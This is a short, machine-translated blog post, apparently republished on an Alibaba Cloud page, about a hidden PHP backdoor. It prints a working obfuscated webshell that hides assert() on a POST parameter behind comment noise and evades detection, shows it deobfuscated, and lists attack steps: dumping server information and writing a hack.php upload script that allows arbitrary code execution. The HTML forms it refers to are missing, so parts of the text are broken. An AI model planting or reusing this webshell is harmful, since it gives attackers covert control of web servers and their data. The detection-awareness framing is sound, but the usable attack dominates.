The code is short and concealed.

Source: Internet
Author: User

The code is short and concealed.

This article will introduce a very short and concealed backdoor Trojan, so that you can avoid trojans when detecting programs.

The file content is as follows:

<?php@$_="s"."s"./*-/*-*/"e"./*-/*-*/"r";@$_=/*-/*-*/"a"./*-/*-*/$_./*-/*-*/"t";@$_/*-/*-*/($/*-/*-*/{"_P"./*-/*-*/"OS"./*-/*-*/"T"}[/*-/*-*/0/*-/*-*/-/*-/*-*/2/*-/*-*/-/*-/*-*/5/*-/*-*/]);?>

Many annotators are inserted in the code, which is difficult to detect if the server detection program is not rigorous.

After the annotator is deleted, the Code is as follows:

<?php@$_="s"."s"."e"."r";@$_="a".$_."t";@$_(${"_P"."OS"."T"}[0-2-5]);?>

Finally, the actual code is as follows:

<?phpassert(${"_POST"}[-7]);?>

It turns out that this backdoor uses phpAssertMethod to execute the program.

bool assert ( mixed $assertion [, string $description ] )

Assert ()Checks the specified assertion and takes appropriate actions when the result is FALSE.

If assertion is a string, it will be executed by assert () as PHP code.

If the content of $ assertion is phpinfo (), the server information will be returned so that attackers can obtain the server information.

After the backdoor program is uploaded, attackers can execute php statements on the server by creating a simple html file.
Assume that the backdoor file isBackdoor. php

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd">



Attack method:
1. You can enter server information.

phpinfo();

2. Create a php file that can be uploaded at will.

file_put_contents('hack.php', '<?php move_uploaded_file($_FILES[\'name\'][\'tmp_name\'], dirname(__FILE__).\'/dest.php\');?>' ,true);

Create an html file to be uploaded and call hack. php.

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd">

Then you can upload and execute the PHP file at will.

Copyright Disclaimer: This article is an original article by the blogger and cannot be reproduced without the permission of the blogger.

Contact Us

The content source of this page is from Internet, which doesn't represent Alibaba Cloud's opinion; products and services mentioned on that page don't have any relationship with Alibaba Cloud. If the content of the page makes you feel confusing, please write us an email, we will handle the problem within 5 days after receiving your email.

If you find any instances of plagiarism from the community, please send an email to: info-contact@alibabacloud.com and provide relevant evidence. A staff member will contact you within 5 working days.

A Free Trial That Lets You Build Big!

Start building with 50+ products and up to 12 months usage for Elastic Compute Service

  • Sales Support

    1 on 1 presale consultation

  • After-Sales Support

    24/7 Technical Support 6 Free Tickets per Quarter Faster Response

  • Alibaba Cloud offers highly flexible support services tailored to meet your exact needs.